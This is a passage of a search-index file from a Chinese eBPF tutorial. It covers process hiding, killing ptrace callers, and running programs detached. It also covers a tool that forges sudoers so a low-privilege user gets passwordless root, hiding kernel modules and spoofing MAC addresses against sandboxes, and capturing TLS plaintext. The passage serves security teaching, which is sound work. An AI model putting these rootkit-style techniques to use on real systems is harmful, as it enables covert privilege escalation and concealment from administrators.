-p 1534\nroot 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534\nroot 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534\nyunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 编译运行，隐藏 PID","id":"181","title":"编译运行，隐藏 PID"},"182":{"body":"通过本篇 eBPF 入门实践教程，我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序，如何通过 eBPF 拦截系统调用并修改它们的行为，以及如何将这些知识应用到实际的网络安全和防御工作中。此外，我们也了解了 eBPF 的强大性，尤其是它能在不需要修改内核源代码或重启内核的情况下，允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 总结","id":"182","title":"总结"},"183":{"body":"eBPF (扩展的伯克利数据包过滤器) 是 Linux 内核的一种革命性技术，允许用户在内核空间执行自定义程序，而不需要修改内核源代码或加载任何内核模块。这使得开发人员可以非常灵活地对 Linux 系统进行观测、修改和控制。 本文介绍了如何使用 eBPF 的 bpf_send_signal 功能，向指定的进程发送信号进行干预。更多的教程文档，请参考 https://github.com/eunomia-bpf/bpf-developer-tutorial","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » eBPF 入门实践教程：用 bpf_send_signal 发送信号终止恶意进程","id":"183","title":"eBPF 入门实践教程：用 bpf_send_signal 发送信号终止恶意进程"},"184":{"body":"1. 性能分析: 在现代软件生态系统中，优化应用程序的性能是开发人员和系统管理员的一个核心任务。当应用程序，如 hhvm，出现运行缓慢或资源利用率异常高时，它可能会对整个系统产生不利影响。因此，定位这些性能瓶颈并及时解决是至关重要的。 2. 异常检测与响应: 任何运行在生产环境中的系统都可能面临各种异常情况，从简单的资源泄露到复杂的恶意软件攻击。在这些情况下，系统需要能够迅速、准确地检测到这些异常，并采取适当的应对措施。 3. 动态系统管理: 随着云计算和微服务架构的普及，能够根据当前系统状态动态调整资源配置和应用行为已经成为了一个关键需求。例如，根据流量波动自动扩容或缩容，或者在检测到系统过热时降低 CPU 频率。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 使用场景","id":"184","title":"使用场景"},"185":{"body":"为了满足上述使用场景的需求，传统的技术方法如下： 安装一个 bpf 程序，该程序会持续监视系统，同时对一个 map 进行轮询。 当某个事件触发了 bpf 程序中定义的特定条件时，它会将相关数据写入此 map。 接着，外部分析工具会从该 map 中读取数据，并根据读取到的信息向目标进程发送信号。 尽管这种方法在很多场景中都是可行的，但它存在一个主要的缺陷：从事件发生到外部工具响应的时间延迟可能相对较大。这种延迟可能会影响到事件的响应速度，从而使得性能分析的结果不准确或者在面对恶意活动时无法及时作出反应。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 现有方案的不足","id":"185","title":"现有方案的不足"},"186":{"body":"为了克服传统方法的这些限制，Linux 内核提供了 bpf_send_signal 和 bpf_send_signal_thread 这两个 helper 函数。 这两个函数带来的主要优势包括： 1. 实时响应: 通过直接从内核空间发送信号，避免了用户空间的额外开销，这确保了信号能够在事件发生后立即被发送，大大减少了延迟。 2. 准确性: 得益于减少的延迟，现在我们可以获得更准确的系统状态快照，这对于性能分析和异常检测尤其重要。 3. 灵活性: 这些新的 helper 函数为开发人员提供了更多的灵活性，他们可以根据不同的使用场景和需求来自定义信号的发送逻辑，从而更精确地控制和管理系统行为。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 新方案的优势","id":"186","title":"新方案的优势"},"187":{"body":"在现代操作系统中，一种常见的安全策略是监控和控制进程之间的交互。尤其在Linux系统中，ptrace 系统调用是一个强大的工具，它允许一个进程观察和控制另一个进程的执行，并修改其寄存器和内存。这使得它成为了调试和跟踪工具（如 strace 和 gdb）的主要机制。然而，恶意的 ptrace 使用也可能导致安全隐患。 这个程序的目标是在内核态监控 ptrace 的调用，当满足特定的条件时，它会发送一个 SIGKILL 信号终止调用进程。此外，为了调试或审计目的，该程序会记录这种干预并将相关信息发送到用户空间。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 内核态代码分析","id":"187","title":"内核态代码分析"},"188":{"body":"","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 代码分析","id":"188","title":"代码分析"},"189":{"body":"signal.h // Simple message structure to get events from eBPF Programs\n// in the kernel to user spcae\n#define TASK_COMM_LEN 16\nstruct event { int pid; char comm[TASK_COMM_LEN]; bool success;\n}; 这部分定义了一个简单的消息结构，用于从内核的 eBPF 程序传递事件到用户空间。结构包括进程ID、命令名和一个标记是否成功发送信号的布尔值。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 1. 数据结构定义 (signal.h)","id":"189","title":"1. 数据结构定义 (signal.h)"},"19":{"body":"跟踪点（tracepoints）是内核静态插桩技术，在技术上只是放置在内核源代码中的跟踪函数，实际上就是在源码中插入的一些带有控制条件的探测点，这些探测点允许事后再添加处理函数。比如在内核中，最常见的静态跟踪方法就是 printk，即输出日志。又比如：在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。跟踪点于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API，数量有限。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » tracepoints","id":"19","title":"tracepoints"},"190":{"body":"signal.bpf.c // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Optional Target Parent PID\nconst volatile int target_ppid = 0; SEC(\"tp/syscalls/sys_enter_ptrace\")\nint bpf_dos(struct trace_event_raw_sys_enter *ctx)\n{ long ret = 0; size_t pid_tgid = bpf_get_current_pid_tgid(); int pid = pid_tgid >> 32; // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } // Send signal. 9 == SIGKILL ret = bpf_send_signal(9); // Log event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = pid; bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } return 0;\n} 许可证声明 声明了程序的许可证为 \"Dual BSD/GPL\"，这是为了满足 Linux 内核对 eBPF 程序的许可要求。 Ringbuffer Map 这是一个 ring buffer 类型的 map，允许 eBPF 程序在内核空间产生的消息被用户空间程序高效地读取。 目标父进程ID target_ppid 是一个可选的父进程ID，用于限制哪些进程受到影响。如果它被设置为非零值，只有与其匹配的进程才会被目标。 主函数 bpf_dos 进程检查 程序首先获取当前进程的ID。如果设置了 target_ppid，它还会获取当前进程的父进程ID并进行比较。如果两者不匹配，则直接返回。 发送信号 使用 bpf_send_signal(9) 来发送 SIGKILL 信号。这将终止调用 ptrace 的进程。 记录事件 使用 ring buffer map 记录这个事件。这包括了是否成功发送信号、进程ID以及进程的命令名。 总结：这个 eBPF 程序提供了一个方法，允许系统管理员或安全团队在内核级别监控和干预 ptrace 调用，提供了一个对抗潜在恶意活动或误操作的额外层次。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 2. eBPF 程序 (signal.bpf.c)","id":"190","title":"2. eBPF 程序 (signal.bpf.c)"},"191":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译： ./ecc signal.bpf.c signal.h 使用方式： sudo ./ecli package.json 这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。 一旦 eBPF 程序开始运行，你可以通过运行以下命令进行测试： $ strace /bin/whoami\nKilled 原先的 console 中会输出： INFO [bpf_loader_lib::skeleton] Running ebpf program...\nTIME PID COMM SUCCESS 13:54:45 8857 strace true 完整的源代码可以参考： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 编译运行","id":"191","title":"编译运行"},"192":{"body":"通过这个实例，我们深入了解了如何将 eBPF 程序与用户态程序相结合，实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制，这种技术不仅限于监控，还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说，这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。 最后，如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 总结","id":"192","title":"总结"},"193":{"body":"https://github.com/pathtofile/bad-bpf https://www.mail-archive.com/netdev@vger.kernel.org/msg296358.html","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 参考资料","id":"193","title":"参考资料"},"194":{"body":"编译： make 使用方式： sudo ./sudoadd --username lowpriv-user 这个程序允许一个通常权限较低的用户使用 sudo 成为 root。 它通过拦截 sudo 读取 /etc/sudoers 文件，并将第一行覆盖为  ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo，使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响，所以对于这些程序来说，文件未改变，用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理，因此不会破坏文件的逻辑。","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 使用 eBPF 添加 sudo 用户","id":"194","title":"使用 eBPF 添加 sudo 用户"},"195":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 参考资料","id":"195","title":"参考资料"},"196":{"body":"编译： make 使用方式： sudo ./replace --filename /path/to/file --input foo --replace bar 这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 这有很多用途，例如： 隐藏内核模块 joydev，避免被如 lsmod 这样的工具发现： ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 伪造 eth0 接口的 MAC 地址： ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 恶意软件进行反沙箱检查可能会检查 MAC 地址，寻找是否正在虚拟机或沙箱内运行，而不是在“真实”的机器上运行的迹象。 注意： input 和 replace 的长度必须相同，以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符，使用 $'\\n'，例如 --replace $'text\\n'。","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 使用 eBPF 替换任意程序读取或写入的文本","id":"196","title":"使用 eBPF 替换任意程序读取或写入的文本"},"197":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 参考资料","id":"197","title":"参考资料"},"198":{"body":"通过使用 detach 的方式运行 eBPF 程序，用户空间加载器可以退出，而不会停止 eBPF 程序。","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期","id":"198","title":"在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期"},"199":{"body":"首先，我们需要了解一些关键的概念，如 BPF 对象（包括程序，地图和调试信息），文件描述符 (FD)，引用计数（refcnt）等。在 eBPF 系统中，用户空间通过文件描述符访问 BPF 对象，而每个对象都有一个引用计数。当一个对象被创建时，其引用计数初始为1。如果该对象不再被使用（即没有其他程序或文件描述符引用它），它的引用计数将降至0，并在 RCU 宽限期后被内存清理。 接下来，我们需要了解 eBPF 程序的生命周期。首先，当你创建一个 BPF 程序，并将它连接到某个“钩子”（例如网络接口，系统调用等），它的引用计数会增加。然后，即使原始创建和加载该程序的用户空间进程退出，只要 BPF 程序的引用计数大于 0，它就会保持活动状态。然而，这个过程中有一个重要的点是：不是所有的钩子都是相等的。有些钩子是全局的，比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态，直到这些对象自身消失。而有些钩子是局部的，只在拥有它们的进程存活期间运行。 对于 BPF 对象（程序或映射）的生命周期管理，另一个关键的操作是“分离”（detach）。这个操作会阻止已附加程序的任何未来执行。然后，对于需要替换 BPF 程序的情况，你可以使用替换（replace）操作。这是一个复杂的过程，因为你需要确保在替换过程中，不会丢失正在处理的事件，而且新旧程序可能在不同的 CPU 上同时运行。 最后，除了通过文件描述符和引用计数来管理 BPF 对象的生命周期，还有一个叫做 BPFFS 的方法，也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”（pin）一个 BPF 程序或映射，这将增加对象的引用计数，使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用，该 BPF 对象也将保持活动状态。 所以，当我们谈论在后台运行 eBPF 程序时，我们需要清楚这个过程的含义。在某些情况下，即使用户空间进程已经退出，我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » eBPF 程序的生命周期","id":"199","title":"eBPF 程序的生命周期"},"2":{"body":"对于浏览器而言，JavaScript 的引入带来的可编程性开启了一场巨大的革命，使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF：为了理解 eBPF 对 Linux 内核的可编程性影响，对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。 kernel-arch Linux 内核的主要目的是抽象出硬件或虚拟硬件，并提供一个一致的API（系统调用），允许应用程序运行和共享资源。为了实现这个目的，我们维护了一系列子系统和层，以分配这些责任[5]。每个子系统通常允许某种程度的配置，以考虑到用户的不同需求。如果不能配置所需的行为，就需要改变内核，从历史上看，改变内核的行为，或者让用户编写的程序能够在内核中运行，就有两种选择: 本地支持内核模块 写一个内核模块 改变内核源代码，并说服Linux内核社区相信这种改变是必要的。等待几年，让新的内核版本成为一种商品。 定期修复它，因为每个内核版本都可能破坏它。由于缺乏安全边界，冒着破坏你的Linux内核的风险 实际上，两种方案都不常用，前者成本太高，后者则几乎没有可移植性。 有了 eBPF，就有了一个新的选择，可以重新编程 Linux 内核的行为，而不需要改变内核的源代码或加载内核模块，同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的，eBPF 程序也需要有一套对应的 API，允许用户定义的应用程序运行和共享资源 --- 换句话说，某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制，借助 eBPF 和用户态通信的机制，Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权，一方面能可编程地扩展传统的系统调用的能力，另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。 new-os 正如上图所示，当今的 Linux 内核正在向一个新的内核模型演化：用户定义的应用程序可以在内核态和用户态同时执行，用户态通过传统的系统调用访问系统资源，内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初，内核中的 eBPF 虚拟机中已经有 220 多个Helper 系统接口，涵盖了非常多的应用场景。 值得注意的是，BPF Helper Call 和系统调用二者并不是竞争关系，它们的编程模型和有性能优势的场景完全不同，也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说，情况也类似，专门设计的 wasi 接口需要经历一个漫长的标准化过程，但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证，而 eBPF 在保证沙箱本质和可移植性的前提下，可以提供一个快速灵活的扩展系统接口的方案。 目前的 eBPF 仍然处于早期阶段，但是借助当前 eBPF 提供的内核接口和用户态交互的能力，经由 Wasm-bpf 的系统接口转换，Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值（kprobe，uprobe...）；以很低的代价收集和理解所有系统调用，并获取所有网络操作的数据包和套接字级别的数据（tracepoint，socket...）；在网络包处理解决方案中添加额外的协议分析器，并轻松地编程任何转发逻辑（XDP，TC...），以满足不断变化的需求，而无需离开Linux内核的数据包处理环境。 不仅如此，eBPF 还有能力往用户空间任意进程的任意地址写入数据（bpf_probe_write_user[7]），有限度地修改内核函数的返回值（bpf_override_return[8]），甚至在内核态直接执行某些系统调用[9]；所幸的是，eBPF 在加载进内核之前对字节码会进行严格的安全检查，确保没有内存越界等操作，同时，许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的；在 Wasm 虚拟机将字节码加载进内核之前，也可以明确选择启用或者禁用某些 eBPF 功能，以确保沙箱的安全性。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 的未来：内核的 JavaScript 可编程接口","id":"2","title":"eBPF 的未来：内核的 JavaScript 可编程接口"},"20":{"body":"面对创建一个 eBPF 项目，您是否对如何开始搭建环境以及选择编程语言感到困惑？别担心，我们为您准备了一系列 GitHub 模板，以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 Use this template 按钮，即可开始使用。 https://github.com/eunomia-bpf/libbpf-starter-template ：基于C语言和 libbpf 框架的eBPF项目模板 https://github.com/eunomia-bpf/cilium-ebpf-starter-template ：基于C语言和cilium/ebpf框架的eBPF项目模板 https://github.com/eunomia-bpf/libbpf-rs-starter-template ：基于Rust语言和libbpf-rs框架的eBPF项目模板 https://github.com/eunomia-bpf/eunomia-template ：基于C语言和eunomia-bpf框架的eBPF项目模板 这些启动模板包含以下功能： 一个 Makefile，让您可以一键构建项目 一个 Dockerfile，用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages GitHub Actions，用于自动化构建、测试和发布流程 eBPF 开发所需的所有依赖项 通过将现有仓库设置为模板，您和其他人可以快速生成具有相同基础结构的新仓库，从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库，开发者可以专注于项目的核心功能和逻辑，而无需为基础设置和结构浪费时间。更多关于模板仓库的信息，请参阅官方文档： https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » GitHub 模板：轻松构建 eBPF 项目和开发环境","id":"20","title":"GitHub 模板：轻松构建 eBPF 项目和开发环境"},"200":{"body":"这里还是采用了上一个的字符串替换的应用，来体现对应可能的安全风险。通过使用 --detach 运行程序，用户空间加载器可以退出，而不会停止 eBPF 程序。 编译： make 在运行前，请首先确保 bpf 文件系统已经被挂载： sudo mount bpffs -t bpf /sys/fs/bpf\nmkdir /sys/fs/bpf/textreplace 然后，你可以分离运行 text-replace2： ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d 这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 一旦加载器成功运行，你可以通过运行以下命令检查日志： sudo cat /sys/kernel/debug/tracing/trace_pipe\n# 确认链接文件存在\nsudo ls -l /sys/fs/bpf/textreplace 然后，要停止，只需删除链接文件即可： sudo rm -r /sys/fs/bpf/textreplace","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 运行","id":"200","title":"运行"},"201":{"body":"https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 参考资料","id":"201","title":"参考资料"},"202":{"body":"随着TLS在现代网络环境中的广泛应用，跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据，导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 但现在，我们有了新的解决方案。使用 eBPF 技术，通过其能力在用户空间进行探测，提供了一种方法重新获得明文数据，使得我们可以直观地查看加密前的通信内容。然而，每个应用可能使用不同的库，每个库都有多个版本，这种多样性给跟踪带来了复杂性。 在本教程中，我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术，它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库，而且相比以往，大大降低了对新版本库的维护工作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据","id":"202","title":"eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据"},"203":{"body":"在深入本教程的主题之前，我们需要理解一些核心概念，这些概念将为我们后面的讨论提供基础。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 背景知识","id":"203","title":"背景知识"},"204":{"body":"SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发，为网络上的两台机器之间提供数据加密传输。然而，由于某些已知的安全问题，SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者，旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程，在这个过程中，客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成，数据传输开始，所有数据都使用选择的算法和密钥加密。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » SSL 和 TLS","id":"204","title":"SSL 和 TLS"},"205":{"body":"Transport Layer Security (TLS) 是一个密码学协议，旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学，例如证书的使用，为两个或更多通信的计算机应用程序提供安全性，包括隐私（机密性）、完整性和真实性。TLS 由两个子层组成：TLS 记录协议和TLS 握手协议。 握手过程 当客户端与启用了TLS的服务器连接并请求建立安全连接时，握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数，完整流程如下： 初始握手 ：客户端连接到启用了TLS的服务器，请求安全连接，并提供它支持的密码套件列表（加密算法和哈希函数）。 选择密码套件 ：从提供的列表中，服务器选择它也支持的密码套件和哈希函数，并通知客户端已做出的决定。 提供数字证书 ：通常，服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构（为证书的真实性提供担保）以及服务器的公共加密密钥。 验证证书 ：客户端在继续之前确认证书的有效性。 生成会话密钥 ：为了生成用于安全连接的会话密钥，客户端有以下两种方法： 使用服务器的公钥加密一个随机数（PreMasterSecret）并将结果发送到服务器（只有服务器才能使用其私钥解密）；双方然后使用该随机数生成一个独特的会话密钥，用于会话期间的数据加密和解密。 使用 Diffie-Hellman 密钥交换（或其变体椭圆曲线DH）来安全地生成一个随机且独特的会话密钥，用于加密和解密，该密钥具有前向保密的额外属性：即使在未来公开了服务器的私钥，也不能用它来解密当前的会话，即使第三方拦截并记录了会话。 一旦上述步骤成功完成，握手过程便结束，加密的连接开始。此连接使用会话密钥进行加密和解密，直到连接关闭。如果上述任何步骤失败，则TLS握手失败，连接将不会建立。 OSI模型中的TLS TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议（例如，TCP）之上运行”，这意味着它位于传输层之上。它为更高的层提供加密，这通常是表示层的功能。但是，使用TLS 的应用程序通常视其为传输层，即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » TLS 的工作原理","id":"205","title":"TLS 的工作原理"},"206":{"body":"eBPF (Extended Berkeley Packet Filter): 是一种内核技术，允许用户在内核空间中运行预定义的程序，不需要修改内核源代码或重新加载模块。它创建了一个桥梁，使得用户空间和内核空间可以交互，从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 uprobes 是eBPF的一个重要特性，允许我们在用户空间应用程序中动态地插入探测点，特别适用于跟踪SSL/TLS库中的函数调用。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 和 uprobe","id":"206","title":"eBPF 和 uprobe"},"207":{"body":"SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库： OpenSSL: 一个开源的、功能齐全的加密库，广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支，重点是简化和优化，适用于Google的需求。 GnuTLS: 是GNU项目的一部分，提供了SSL，TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比，GnuTLS在API设计、模块结构和许可证上有所不同。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态库","id":"207","title":"用户态库"},"208":{"body":"OpenSSL 是一个广泛应用的开源库，提供了 SSL 和 TLS 协议的完整实现，并广泛用于各种应用程序中以确保数据传输的安全性。其中，SSL_read() 和 SSL_write() 是两个核心的 API 函数，用于从 TLS/SSL 连接中读取和写入数据。本章节，我们将深入这两个函数，帮助你理解其工作机制。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » OpenSSL API 分析","id":"208","title":"OpenSSL API 分析"},"209":{"body":"当我们想从一个已建立的 SSL 连接中读取数据时，可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下： int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);\nint SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时，SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. SSL_read 函数","id":"209","title":"1. SSL_read 函数"},"21":{"body":"eBPF 程序的开发和使用流程可以概括为如下几个步骤： 定义 eBPF 程序的接口和类型：这包括定义 eBPF 程序的接口函数，定义和实现 eBPF 内核映射（maps）和共享内存（perf events），以及定义和使用 eBPF 内核帮助函数（helpers）。 编写 eBPF 程序的代码：这包括编写 eBPF 程序的主要逻辑，实现 eBPF 内核映射的读写操作，以及使用 eBPF 内核帮助函数。 编译 eBPF 程序：这包括使用 eBPF 编译器（例如 clang）将 eBPF 程序代码编译为 eBPF 字节码，并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 加载 eBPF 程序到内核：这包括将编译好的 eBPF 内核模块加载到 Linux 内核中，并将 eBPF 程序附加到指定的内核事件上。 使用 eBPF 程序：这包括监测 eBPF 程序的运行情况，并使用 eBPF 内核映射和共享内存进行数据交换和共享。 在实际开发中，还可能需要进行其他的步骤，例如配置编译和加载参数，管理 eBPF 内核模块和内核映射，以及使用其他高级功能等。 需要注意的是，BPF 程序的执行是在内核空间进行的，因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包，它可以帮助开发者快速和简单地编写和运行 BPF 程序。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 总结","id":"21","title":"总结"},"210":{"body":"当我们想往一个已建立的 SSL 连接中写入数据时，可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型： int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);\nint SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时，SSL_write_ex 会在 *written 中存储实际写入的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. SSL_write 函数","id":"210","title":"2. SSL_write 函数"},"211":{"body":"在我们的例子中，我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数，从而在数据读取或写入 SSL 连接时执行自定义操作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 内核态代码编写","id":"211","title":"eBPF 内核态代码编写"},"212":{"body":"首先，我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据： #define MAX_BUF_SIZE 8192\n#define TASK_COMM_LEN 16 struct probe_SSL_data_t { __u64 timestamp_ns; // 时间戳（纳秒） __u64 delta_ns; // 函数执行时间 __u32 pid; // 进程 ID __u32 tid; // 线程 ID __u32 uid; // 用户 ID __u32 len; // 读/写数据的长度 int buf_filled; // 缓冲区是否填充完整 int rw; // 读或写（0为读，1为写） char comm[TASK_COMM_LEN]; // 进程名 __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 int is_handshake; // 是否是握手数据\n};","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 数据结构","id":"212","title":"数据结构"},"213":{"body":"我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID，确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); if (bufp == 0) return 0; u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (!tsp) return 0; u64 delta_ns = ts - *tsp; int len = PT_REGS_RC(ctx); if (len <= 0) // no data return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = delta_ns; data->pid = pid; data->tid = tid; data->uid = 